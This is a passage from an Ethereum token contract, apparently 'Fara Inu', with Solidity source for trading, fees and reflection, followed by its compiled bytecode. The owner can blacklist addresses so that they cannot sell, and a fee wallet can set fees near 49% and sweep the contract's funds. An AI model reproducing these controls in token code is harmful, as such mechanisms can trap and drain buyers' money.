_feeAddrWallet); require(rate<=49); _feeRate = rate; } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(1).div(100); _maxWalletSize = _tTotal.mul(2).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function addBot(address[] memory _bots) public onlyOwner { for (uint i = 0; i < _bots.length; i++) { if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){ bots[_bots[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b60405161016791906129d2565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612a9c565b61051c565b6040516101a49190612af7565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612b12565b61053a565b005b3480156101e257600080fd5b506101eb610631565b6040516101f89190612b88565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612ceb565b610642565b005b34801561023657600080fd5b50610251600480360381019061024c9190612d34565b6108a4565b60405161025e9190612af7565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612d87565b61097d565b005b34801561029c57600080fd5b506102a5610a6d565b6040516102b29190612dd0565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612deb565b610a76565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612e44565b610aef565b005b34801561031957600080fd5b50610334600480360381019061032f9190612deb565b610ba1565b005b34801561034257600080fd5b5061034b610c7b565b005b34801561035957600080fd5b50610374600480360381019061036f9190612d87565b610ced565b6040516103819190612b88565b60405180910390f35b34801561039657600080fd5b5061039f610d3e565b005b3480156103ad57600080fd5b506103b6610e91565b005b3480156103c457600080fd5b506103cd610f48565b6040516103da9190612e80565b60405180910390f35b3480156103ef57600080fd5b506103f8610f71565b60405161040591906129d2565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612a9c565b610fae565b6040516104429190612af7565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612deb565b610fcc565b005b34801561048057600080fd5b506104896110a6565b005b34801561049757600080fd5b506104a0611120565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612e9b565b61168b565b6040516104d69190612b88565b60405180910390f35b60606040518060400160405280600881526020017f4661726120496e75000000000000000000000000000000000000000000000000815250905090565b6000610530610529611712565b848461171a565b6001905092915050565b610542611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c690612f27565b60405180910390fd5b600f5483856105de9190612f76565b11156105e957600080fd5b60105481836105f89190612f76565b111561060357600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000686c6b935b8bbd400000905090565b61064a611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612f27565b60405180910390fd5b60005b81518110156108a0573073ffffffffffffffffffffffffffffffffffffffff1682828151811061070d5761070c612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107a15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107805761077f612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108155750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107f4576107f3612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561088d5760016007600084848151811061083357610832612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061089890612ffb565b9150506106da565b5050565b60006108b18484846118e3565b610972846108bd611712565b61096d8560405180606001604052806028815260200161384c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610923611712565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e899092919063ffffffff16565b61171a565b600190509392505050565b610985611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990612f27565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab7611712565b73ffffffffffffffffffffffffffffffffffffffff1614610ad757600080fd5b6031811115610ae557600080fd5b8060128190555050565b610af7611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612f27565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610ba9611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2d90612f27565b60405180910390fd5b60008111610c4357600080fd5b610c726064610c6483686c6b935b8bbd400000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60158190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbc611712565b73ffffffffffffffffffffffffffffffffffffffff1614610cdc57600080fd5b6000479050610cea81611fb1565b50565b6000610d37600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201d565b9050919050565b610d46611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca90612f27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e99611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1d90612f27565b60405180910390fd5b686c6b935b8bbd400000601581905550686c6b935b8bbd400000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4641524100000000000000000000000000000000000000000000000000000000815250905090565b6000610fc2610fbb611712565b84846118e3565b6001905092915050565b610fd4611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105890612f27565b60405180910390fd5b6000811161106e57600080fd5b61109d606461108f83686c6b935b8bbd400000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60168190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e7611712565b73ffffffffffffffffffffffffffffffffffffffff161461110757600080fd5b600061111230610ced565b905061111d8161208b565b50565b611128611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac90612f27565b60405180910390fd5b60148054906101000a900460ff1615611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa9061308f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061129330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16686c6b935b8bbd40000061171a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130291906130c4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611369573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138d91906130c4565b6040518363ffffffff1660e01b81526004016113aa9291906130f1565b6020604051808303816000875af11580156113c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ed91906130c4565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061147630610ced565b600080611481610f48565b426040518863ffffffff1660e01b81526004016114a39695949392919061315f565b60606040518083038185885af11580156114c1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114e691906131d5565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff02191690831515021790555061154f60646115416001686c6b935b8bbd400000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60158190555061158560646115776002686c6b935b8bbd400000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611644929190613228565b6020604051808303816000875af1158015611663573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116879190613266565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611789576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178090613305565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ef90613397565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118d69190612b88565b60405180910390a3505050565b60008111611926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191d90613429565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611949610f48565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b75750611987610f48565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e7957601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a675750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611abd5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ad55750601460179054906101000a900460ff165b15611b4257601554811115611ae957600080fd5b60165481611af684610ced565b611b009190612f76565b1115611b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3890613495565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bea5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c435750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d1157600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cec5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cf557600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611d1c30610ced565b9050611d706064611d62601254611d54601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ced565b611eed90919063ffffffff16565b611f6790919063ffffffff16565b811115611dcc57611dc96064611dbb601254611dad601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ced565b611eed90919063ffffffff16565b611f6790919063ffffffff16565b90505b601460159054906101000a900460ff16158015611e375750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e4f5750601460169054906101000a900460ff165b15611e7757611e5d8161208b565b60004790506000811115611e7557611e7447611fb1565b5b505b505b611e84838383612304565b505050565b6000838311158290611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec891906129d2565b60405180910390fd5b5060008385611ee091906134b5565b9050809150509392505050565b6000808303611eff5760009050611f61565b60008284611f0d91906134e9565b9050828482611f1c9190613572565b14611f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5390613615565b60405180910390fd5b809150505b92915050565b6000611fa983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612314565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612019573d6000803e3d6000fd5b5050565b6000600954821115612064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205b906136a7565b60405180910390fd5b600061206e612377565b90506120838184611f6790919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120c3576120c2612ba8565b5b6040519080825280602002602001820160405280156120f15781602001602082028036833780820191505090505b509050308160008151811061210957612108612fcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121d491906130c4565b816001815181106121e8576121e7612fcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061224f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461171a565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122b3959493929190613785565b600060405180830381600087803b1580156122cd57600080fd5b505af11580156122e1573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b61230f8383836123a2565b505050565b6000808311829061235b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235291906129d2565b60405180910390fd5b506000838561236a9190613572565b9050809150509392505050565b600080600061238461256d565b9150915061239b8183611f6790919063ffffffff16565b9250505090565b6000806000806000806123b4876125cf565b95509550955095509550955061241286600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266490919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124a785600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ae90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f38161270c565b6124fd84836127c9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161255a9190612b88565b60405180910390a3505050505050505050565b600080600060095490506000686c6b935b8bbd40000090506125a3686c6b935b8bbd400000600954611f6790919063ffffffff16565b8210156125c257600954686c6b935b8bbd4000009350935050506125cb565b81819350935050505b9091565b60008060008060008060008060006125e5612803565b612603576125fe8a600b60020154600b6003015461281a565b612619565b6126188a600b60000154600b6001015461281a565b5b9250925092506000612629612377565b9050600080600061263c8e8787876128b0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e89565b905092915050565b60008082846126bd9190612f76565b905083811015612702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f99061382b565b60405180910390fd5b8091505092915050565b6000612716612377565b9050600061272d8284611eed90919063ffffffff16565b905061278181600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ae90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127de8260095461266490919063ffffffff16565b6009819055506127f981600a546126ae90919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806128466064612838888a611eed90919063ffffffff16565b611f6790919063ffffffff16565b905060006128706064612862888b611eed90919063ffffffff16565b611f6790919063ffffffff16565b905060006128998261288b858c61266490919063ffffffff16565b61266490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128c98589611eed90919063ffffffff16565b905060006128e08689611eed90919063ffffffff16565b905060006128f78789611eed90919063ffffffff16565b9050600061292082612912858761266490919063ffffffff16565b61266490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612973578082015181840152602081019050612958565b83811115612982576000848401525b50505050565b6000601f19601f8301169050919050565b60006129a482612939565b6129ae8185612944565b93506129be818560208601612955565b6129c781612988565b840191505092915050565b600060208201905081810360008301526129ec8184612999565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a3382612a08565b9050919050565b612a4381612a28565b8114612a4e57600080fd5b50565b600081359050612a6081612a3a565b92915050565b6000819050919050565b612a7981612a66565b8114612a8457600080fd5b50565b600081359050612a9681612a70565b92915050565b60008060408385031215612ab357612ab26129fe565b5b6000612ac185828601612a51565b9250506020612ad285828601612a87565b9150509250929050565b60008115159050919050565b612af181612adc565b82525050565b6000602082019050612b0c6000830184612ae8565b92915050565b60008060008060808587031215612b2c57612b2b6129fe565b5b6000612b3a87828801612a87565b9450506020612b4b87828801612a87565b9350506040612b5c87828801612a87565b9250506060612b6d87828801612a87565b91505092959194509250565b612b8281612a66565b82525050565b6000602082019050612b9d6000830184612b79565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612be082612988565b810181811067ffffffffffffffff82111715612bff57612bfe612ba8565b5b80604052505050565b6000612c126129f4565b9050612c1e8282612bd7565b919050565b600067ffffffffffffffff821115612c3e57612c3d612ba8565b5b602082029050602081019050919050565b600080fd5b6000612c67612c6284612c23565b612c08565b90508083825260208201905060208402830185811115612c8a57612c89612c4f565b5b835b81811015612cb35780612c9f8882612a51565b845260208401935050602081019050612c8c565b5050509392505050565b600082601f830112612cd257612cd1612ba3565b5b8135612ce2848260208601612c54565b91505092915050565b600060208284031215612d0157612d006129fe565b5b600082013567ffffffffffffffff811115612d1f57612d1e612a03565b5b612d2b84828501612cbd565b91505092915050565b600080600060608486031215612d4d57612d4c6129fe565b5b6000612d5b86828701612a51565b9350506020612d6c86828701612a51565b9250506040612d7d86828701612a87565b9150509250925092565b600060208284031215612d9d57612d9c6129fe565b5b6000612dab84828501612a51565b91505092915050565b600060ff82169050919050565b612dca81612db4565b82525050565b6000602082019050612de56000830184612dc1565b92915050565b600060208284031215612e0157612e006129fe565b5b6000612e0f84828501612a87565b91505092915050565b612e2181612adc565b8114612e2c57600080fd5b50565b600081359050612e3e81612e18565b92915050565b600060208284031215612e5a57612e596129fe565b5b6000612e6884828501612e2f565b91505092915050565b612e7a81612a28565b82525050565b6000602082019050612e956000830184612e71565b92915050565b60008060408385031215612eb257612eb16129fe565b5b6000612ec085828601612a51565b9250506020612ed185828601612a51565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f11602083612944565b9150612f1c82612edb565b602082019050919050565b60006020820190508181036000830152612f4081612f04565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f8182612a66565b9150612f8c83612a66565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fc157612fc0612f47565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061300682612a66565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361303857613037612f47565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613079601783612944565b915061308482613043565b602082019050919050565b600060208201905081810360008301526130a88161306c565b9050919050565b6000815190506130be81612a3a565b92915050565b6000602082840312156130da576130d96129fe565b5b60006130e8848285016130af565b91505092915050565b60006040820190506131066000830185612e71565b6131136020830184612e71565b9392505050565b6000819050919050565b6000819050919050565b600061314961314461313f8461311a565b613124565b612a66565b9050919050565b6131598161312e565b82525050565b600060c0820190506131746000830189612e71565b6131816020830188612b79565b61318e6040830187613150565b61319b6060830186613150565b6131a86080830185612e71565b6131b560a0830184612b79565b979650505050505050565b6000815190506131cf81612a70565b92915050565b6000806000606084860312156131ee576131ed6129fe565b5b60006131fc868287016131c0565b935050602061320d868287016131c0565b925050604061321e868287016131c0565b9150509250925092565b600060408201905061323d6000830185612e71565b61324a6020830184612b79565b9392505050565b60008151905061326081612e18565b92915050565b60006020828403121561327c5761327b6129fe565b5b600061328a84828501613251565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132ef602483612944565b91506132fa82613293565b604082019050919050565b6000602082019050818103600083015261331e816132e2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613381602283612944565b915061338c82613325565b604082019050919050565b600060208201905081810360008301526133b081613374565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613413602983612944565b915061341e826133b7565b604082019050919050565b6000602082019050818103600083015261344281613406565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061347f601a83612944565b915061348a82613449565b602082019050919050565b600060208201905081810360008301526134ae81613472565b9050919050565b60006134c082612a66565b91506134cb83612a66565b9250828210156134de576134dd612f47565b5b828203905092915050565b60006134f482612a66565b91506134ff83612a66565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561353857613537612f47565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061357d82612a66565b915061358883612a66565b92508261359857613597613543565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135ff602183612944565b915061360a826135a3565b604082019050919050565b6000602082019050818103600083015261362e816135f2565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613691602a83612944565b915061369c82613635565b604082019050919050565b600060208201905081810360008301526136c081613684565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136fc81612a28565b82525050565b600061370e83836136f3565b60208301905092915050565b6000602082019050919050565b6000613732826136c7565b61373c81856136d2565b9350613747836136e3565b8060005b8381101561377857815161375f8882613702565b975061376a8361371a565b92505060018101905061374b565b5085935050505092915050565b600060a08201905061379a6000830188612b79565b6137a76020830187613150565b81810360408301526137b98186613727565b90506137c86060830185612e71565b6137d56080830184612b79565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613815601b83612944565b9150613820826137df565b602082019050919050565b6000602082019050818103600083015261384481613808565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e4460eb4b3824d0ac393634acfe4c52b8bd9a315d24f11301fa1161b39e589d064736f6c634300080d0033
